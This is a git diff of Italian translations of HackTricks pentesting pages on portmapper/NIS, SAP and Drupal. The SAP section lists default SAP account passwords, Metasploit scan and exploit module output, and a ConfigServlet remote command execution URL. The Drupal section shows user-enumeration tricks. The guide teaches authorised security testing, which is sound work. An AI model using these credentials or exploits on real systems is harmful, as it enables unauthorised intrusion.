||||
| /etc/passwd | passwd.byname, passwd.byuid | File password utente NIS |
|
||||
| /etc/group | group.byname, group.bygid | File gruppo NIS |
|
||||
| /usr/lib/aliases | mail.aliases | Dettagli alias di posta |
|
||||
|
||||
## Utenti RPC
|
||||
|
||||
Se trovi il servizio **rusersd** elencato in questo modo:
|
||||
|
||||
![](<../.gitbook/assets/image (231).png>)
|
||||
![](<../.gitbook/assets/image (1038).png>)
|
||||
|
||||
Puoi enumerare gli utenti della macchina. Per saperne di più, leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
|
||||
Potresti enumerare gli utenti della macchina. Per saperne di più, leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
|
||||
|
||||
## Bypass del portmapper filtrato
|
||||
## Bypass della porta Portmapper filtrata
|
||||
|
||||
Durante una scansione **nmap** se scopri porte NFS aperte con la porta 111 filtrata, l'exploit diretto di queste porte non è fattibile. Tuttavia, simulando un servizio portmapper localmente e creando un tunnel dalla tua macchina al target, diventa possibile l'exploit utilizzando strumenti standard. Questa tecnica consente di bypassare lo stato filtrato della porta 111, consentendo così l'accesso ai servizi NFS. Per una guida dettagliata su questo metodo, consulta l'articolo disponibile a [questo link](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Durante una scansione **nmap** e scoprendo porte NFS aperte con la porta 111 filtrata, l'exploitation diretta di queste porte non è fattibile. Tuttavia, **simulando un servizio portmapper localmente e creando un tunnel dalla tua macchina** al target, diventa possibile sfruttare gli strumenti standard. Questa tecnica consente di aggirare lo stato filtrato della porta 111, consentendo così l'accesso ai servizi NFS. Per una guida dettagliata su questo metodo, consulta l'articolo disponibile a [questo link](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `Portmap`
|
||||
|
||||
## Laboratori per esercitarsi
|
||||
## Laboratori per praticare
|
||||
|
||||
* Pratica queste tecniche sulla macchina [**Irked HTB**](https://app.hackthebox.com/machines/Irked).
|
||||
* Pratica queste tecniche sulla [**macchina HTB Irked**](https://app.hackthebox.com/machines/Irked).
|
||||
|
||||
## Comandi automatici di HackTricks
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Comandi Automatici di HackTricks
|
||||
```
|
||||
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
@ -194,14 +125,14 @@ Command: nmap -sSUC -p 111 {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,43 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# Introduzione a SAP
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
SAP sta per Systems Applications and Products in Data Processing. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) così come il nome dell'azienda.
|
||||
Il sistema SAP è composto da una serie di moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
|
||||
|
||||
Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni ambiente di sviluppo di solito è composto da quattro istanze: dev, test, QA e produzione.
|
||||
Ogni livello può essere sfruttato in qualche misura, ma il maggior effetto può essere ottenuto **attaccando il database**.
|
||||
# Introduzione su SAP
|
||||
|
||||
SAP sta per Sistemi Applicativi e Prodotti in Elaborazione Dati. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) e il nome dell'azienda.
|
||||
Il sistema SAP è composto da diversi moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
|
||||
|
||||
Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni paesaggio di solito è composto da quattro istanze: sviluppo, test, QA e produzione.
|
||||
Ciascuno dei livelli può essere sfruttato fino a un certo punto, ma il maggior effetto può essere ottenuto **attaccando il database**.
|
||||
|
||||
Ogni istanza SAP è divisa in client. Ognuno ha un utente SAP\*, l'equivalente dell'applicazione di "root".
|
||||
Alla creazione iniziale, questo utente SAP\* ottiene una password predefinita: "060719992" \(altre password predefinite di seguito\).
|
||||
Alla creazione iniziale, questo utente SAP\* riceve una password predefinita: "060719992" \(altre password predefinite di seguito\).
|
||||
Saresti sorpreso se sapessi quanto spesso queste **password non vengono cambiate negli ambienti di test o sviluppo**!
|
||||
|
||||
Prova ad ottenere l'accesso alla shell di qualsiasi server utilizzando il nome utente <SID>adm.
|
||||
Il brute forcing può aiutare, tuttavia potrebbe esserci un meccanismo di blocco dell'account.
|
||||
Prova ad accedere alla shell di qualsiasi server utilizzando il nome utente <SID>adm.
|
||||
Il Brute forcing può aiutare, tuttavia può esserci un meccanismo di blocco dell'account.
|
||||
|
||||
# Scoperta
|
||||
|
||||
> La sezione successiva è principalmente tratta da [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) dell'utente shipcod3!
|
||||
> La sezione successiva proviene principalmente da [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) dall'utente shipcod3!
|
||||
|
||||
* Controlla il campo di applicazione o il riepilogo del programma per il testing. Prendi nota dei nomi host o delle istanze di sistema per la connessione a SAP GUI.
|
||||
* Utilizza OSINT \(open source intelligence\), Shodan e Google Dorks per verificare la presenza di file, sottodomini e informazioni interessanti se l'applicazione è accessibile via Internet o pubblica:
|
||||
* Controlla il Campo Applicazione o il Programma Breve per il testing. Prendi nota dei nomi host o delle istanze di sistema per connettersi a SAP GUI.
|
||||
* Utilizza OSINT \(open source intelligence\), Shodan e Google Dorks per controllare file, sottodomini e informazioni interessanti se l'applicazione è esposta su Internet o pubblica:
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -47,15 +51,15 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|||
|
||||
![Schermata di accesso SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
* Utilizza nmap per verificare le porte aperte e i servizi noti (router sap, webdnypro, servizi web, server web, ecc.)
|
||||
* Esegui il crawling degli URL se è in esecuzione un server web.
|
||||
* Fuzzare le directory (puoi utilizzare Burp Intruder) se ci sono server web su determinate porte. Ecco alcuni buoni wordlist forniti dal progetto SecLists per trovare percorsi SAP ICM predefiniti e altre directory o file interessanti:
|
||||
* Utilizzare nmap per controllare le porte aperte e i servizi noti \(router sap, webdynpro, servizi web, server web, ecc.\)
|
||||
* Eseguire il crawling degli URL se è in esecuzione un server web.
|
||||
* Effettuare il fuzzing delle directory \(è possibile utilizzare Burp Intruder\) se sono presenti server web su determinate porte. Ecco alcuni buoni elenchi di parole forniti dal Progetto SecLists per trovare Percorsi ICM SAP predefiniti e altre directory o file interessanti:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||||
|
||||
* Utilizza il modulo ausiliario SAP SERVICE DISCOVERY di Metasploit per enumerare le istanze/servizi/componenti SAP:
|
||||
* Utilizzare il modulo ausiliario SAP SERVICE DISCOVERY di Metasploit per enumerare istanze/servizi/componenti SAP:
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > show options
|
||||
|
@ -72,12 +76,12 @@ rhosts => 192.168.96.101
|
|||
msf auxiliary(sap_service_discovery) > run
|
||||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||||
```
|
||||
## Testare il client spesso / SAP GUI
|
||||
## Test del client pesante / SAP GUI
|
||||
|
||||
Ecco il comando per connettersi a SAP GUI
|
||||
`sapgui <nome host del server SAP> <numero di sistema>`
|
||||
|
||||
* Verificare le credenziali predefinite (Nella tassonomia di valutazione delle vulnerabilità di Bugcrowd, questo è considerato come P1 -> Configurazione errata della sicurezza del server \| Utilizzo di credenziali predefinite \| Server di produzione):
|
||||
* Verificare le credenziali predefinite \(Nella tassonomia delle vulnerabilità di Bugcrowd, questo è considerato come P1 -> Configurazione errata della sicurezza del server \| Utilizzo di credenziali predefinite \| Server di produzione\):
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
|
@ -128,31 +132,31 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Esegui Wireshark, quindi autenticati al client (SAP GUI) utilizzando le credenziali ottenute perché alcuni client trasmettono le credenziali senza SSL. Ci sono due plugin noti per Wireshark che possono analizzare gli header principali utilizzati dal protocollo SAP DIAG: il plugin di dissezione SAP di SecureAuth Labs e il plugin SAP DIAG di Positive Research Center.
|
||||
* Verifica le scalate di privilegi utilizzando alcuni codici di transazione SAP (tcodes) per gli utenti a basso privilegio:
|
||||
* Esegui Wireshark quindi autenticati al client \(SAP GUI\) utilizzando le credenziali ottenute poiché alcuni client trasmettono le credenziali senza SSL. Ci sono due plugin noti per Wireshark che possono analizzare gli header principali utilizzati dal protocollo SAP DIAG: il plugin di dissezione SAP di SecureAuth Labs e il plugin SAP DIAG di Positive Research Center.
|
||||
* Verifica le scalate di privilegi come l'utilizzo di alcuni codici di transazione SAP \(tcodes\) per gli utenti a basso privilegio:
|
||||
* SU01 - Per creare e mantenere gli utenti
|
||||
* SU01D - Per visualizzare gli utenti
|
||||
* SU10 - Per la manutenzione di massa
|
||||
* SU02 - Per la creazione manuale dei profili
|
||||
* SU02 - Per la creazione manuale di profili
|
||||
* SM19 - Audit di sicurezza - configurazione
|
||||
* SE84 - Sistema informativo per le autorizzazioni SAP R/3
|
||||
* Verifica se puoi eseguire comandi di sistema / eseguire script nel client.
|
||||
* Verifica se puoi eseguire XSS su BAPI Explorer.
|
||||
* Verifica se puoi eseguire XSS su BAPI Explorer
|
||||
|
||||
# Test dell'interfaccia web
|
||||
|
||||
* Esplora gli URL (vedi fase di scoperta).
|
||||
* Esegui lo spidering degli URL \(vedi fase di scoperta\).
|
||||
* Fai il fuzzing degli URL come nella fase di scoperta. Ecco come appare [http://SAP:50000/index.html](http://sap:50000/index.html):
|
||||
|
||||
![Pagina di indice SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
![Pagina Iniziale SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
* Cerca vulnerabilità web comuni (fare riferimento a OWASP Top 10) perché ci sono vulnerabilità XSS, RCE, XXE, ecc. in alcuni punti.
|
||||
* Cerca vulnerabilità web comuni \(Fai riferimento all'OWASP Top 10\) poiché ci sono vulnerabilità come XSS, RCE, XXE, ecc. in alcuni punti.
|
||||
* Dai un'occhiata alla metodologia di Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) per testare le vulnerabilità web.
|
||||
* Bypass dell'autenticazione tramite manipolazione del verbo? Forse :)
|
||||
* Apri `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` quindi premi il pulsante "Choose" e poi nella finestra aperta premi "Search". Dovresti essere in grado di vedere un elenco di utenti SAP (Riferimento alla vulnerabilità: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
|
||||
* Le credenziali vengono inviate tramite HTTP? In tal caso, viene considerato come P3 in base alla [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) di Bugcrowd: Autenticazione non valida e gestione delle sessioni | Funzione di accesso debole tramite HTTP. Suggerimento: Dai un'occhiata anche a [http://SAP:50000/startPage](http://sap:50000/startPage) o ai portali di accesso :)
|
||||
* Bypass di autenticazione tramite manipolazione dei verbi? Forse :\)
|
||||
* Apre `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` quindi premi il pulsante “Scegli” e poi nella finestra aperta premi “Cerca”. Dovresti essere in grado di vedere un elenco di utenti SAP \(Riferimento alla vulnerabilità: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
||||
* Le credenziali vengono inviate tramite HTTP? Se sì, viene considerato come P3 in base alla [Tassonomia di Valutazione delle Vulnerabilità di Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Autenticazione e Gestione Sessioni Danneggiate \| Funzione di Accesso Debole su HTTP. Suggerimento: Dai un'occhiata anche a [http://SAP:50000/startPage](http://sap:50000/startPage) o ai portali di accesso :\)
|
||||
|
||||
![Pagina di avvio SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
![Pagina di Avvio SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* Prova `/irj/go/km/navigation/` per possibili elenchi di directory o bypass dell'autenticazione
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info) contiene alcune informazioni interessanti:
|
||||
|
@ -189,7 +193,7 @@ BWDEVELOPER:Down1oad:001
|
|||
# Attacco!
|
||||
|
||||
* Verifica se viene eseguito su server o tecnologie obsolete come Windows 2000.
|
||||
* Pianifica gli exploit / attacchi possibili, ci sono molti moduli Metasploit per la scoperta di SAP (moduli ausiliari) e exploit:
|
||||
* Pianifica i possibili exploit / attacchi, ci sono molti moduli Metasploit per la scoperta di SAP (moduli ausiliari) e exploit:
|
||||
```text
|
||||
msf > search sap
|
||||
Matching Modules
|
||||
|
@ -254,11 +258,11 @@ exploit/windows/lpd/saplpd 2008-02
|
|||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
* Prova ad utilizzare alcuni exploit noti (controlla Exploit-DB) o attacchi come il vecchio ma affidabile "Esecuzione remota del codice di SAP ConfigServlet" nel SAP Portal:
|
||||
* Prova a utilizzare alcuni exploit noti (controlla Exploit-DB) o attacchi come il vecchio ma valido "Esecuzione di codice remoto di SAP ConfigServlet" nel Portale SAP:
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
![RCE del Servlet di Configurazione SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
|
||||
* Prima di eseguire il comando `start` nello script bizploit nella fase di Discovery, è possibile aggiungere anche quanto segue per eseguire una valutazione delle vulnerabilità:
|
||||
```text
|
||||
|
@ -282,26 +286,29 @@ bizploit/plugins> start
|
|||
bizploit/plugins> back
|
||||
bizploit> start
|
||||
```
|
||||
# Altri strumenti utili per il testing
|
||||
# Altri Strumenti Utili per il Testing
|
||||
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Strumento Powershell per valutare la sicurezza di SAP
|
||||
* [Burp Suite](https://portswigger.net/burp) - un must have per il fuzzing delle directory e le valutazioni di sicurezza web
|
||||
* [Burp Suite](https://portswigger.net/burp) - un must per il fuzzing delle directory e le valutazioni della sicurezza web
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - Libreria Python per creare pacchetti di protocollo di rete SAP
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Aiuta nmap a rilevare SAP/ERP
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [Penetration Testing SAP Utilizzando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - uno script per automatizzare parzialmente Bizploit
|
||||
* [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [Configurazione della sicurezza SAP NetWeaver ABAP parte 3: Password predefinite per l'accesso all'applicazione](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [Elenco dei codici di transazione ABAP relativi alla sicurezza SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [Le 10 vulnerabilità e attacchi SAP più interessanti](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [Valutazione della sicurezza degli ecosistemi SAP con bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [Top 10 delle vulnerabilità e degli attacchi SAP più interessanti](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [Valutare la sicurezza degli ecosistemi SAP con bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -310,9 +317,9 @@ bizploit> start
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -2,25 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Discovery
|
||||
|
||||
* Controlla **meta**
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
* **Nodo**: Drupal **indicizza i suoi contenuti utilizzando i nodi**. Un nodo può **contenere qualsiasi cosa** come un post di blog, un sondaggio, un articolo, ecc. Gli URI delle pagine sono di solito nella forma `/node/<nodeid>`.
|
||||
* **Nodo**: Drupal **indicizza i suoi contenuti utilizzando nodi**. Un nodo può **contenere qualsiasi cosa** come un post di blog, un sondaggio, un articolo, ecc. Gli URI delle pagine sono di solito della forma `/node/<nodeid>`.
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
|
@ -29,12 +34,12 @@ curl drupal-site.com/node/1
|
|||
Drupal supporta **tre tipi di utenti** di default:
|
||||
|
||||
1. **`Amministratore`**: Questo utente ha il controllo completo sul sito web di Drupal.
|
||||
2. **`Utente autenticato`**: Questi utenti possono accedere al sito web e svolgere operazioni come aggiungere e modificare articoli in base alle loro autorizzazioni.
|
||||
2. **`Utente Autenticato`**: Questi utenti possono accedere al sito web e svolgere operazioni come aggiungere e modificare articoli in base ai loro permessi.
|
||||
3. **`Anonimo`**: Tutti i visitatori del sito web sono designati come anonimi. Di default, a questi utenti è consentito solo leggere i post.
|
||||
|
||||
### Versione
|
||||
|
||||
* Verifica `/CHANGELOG.txt`
|
||||
* Controlla `/CHANGELOG.txt`
|
||||
```bash
|
||||
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
||||
|
||||
|
@ -48,32 +53,32 @@ Le installazioni più recenti di Drupal di default bloccano l'accesso ai file `C
|
|||
|
||||
#### Registrazione
|
||||
|
||||
In _/user/register_ prova semplicemente a creare un nome utente e se il nome è già stato preso verrà notificato:
|
||||
In _/user/register_ prova semplicemente a creare un username e se il nome è già stato preso verrà notificato:
|
||||
|
||||
![](<../../.gitbook/assets/image (254).png>)
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
#### Richiesta di una nuova password
|
||||
#### Richiesta di nuova password
|
||||
|
||||
Se richiedi una nuova password per un nome utente esistente:
|
||||
Se richiedi una nuova password per un username esistente:
|
||||
|
||||
![](<../../.gitbook/assets/image (255).png>)
|
||||
![](<../../.gitbook/assets/image (900).png>)
|
||||
|
||||
Se richiedi una nuova password per un nome utente inesistente:
|
||||
Se richiedi una nuova password per un username inesistente:
|
||||
|
||||
![](<../../.gitbook/assets/image (256).png>)
|
||||
![](<../../.gitbook/assets/image (304).png>)
|
||||
|
||||
### Ottenere il numero di utenti
|
||||
|
||||
Accedendo a _/user/\<numero>_ puoi vedere il numero di utenti esistenti, in questo caso sono 2 poiché _/users/3_ restituisce un errore di non trovato:
|
||||
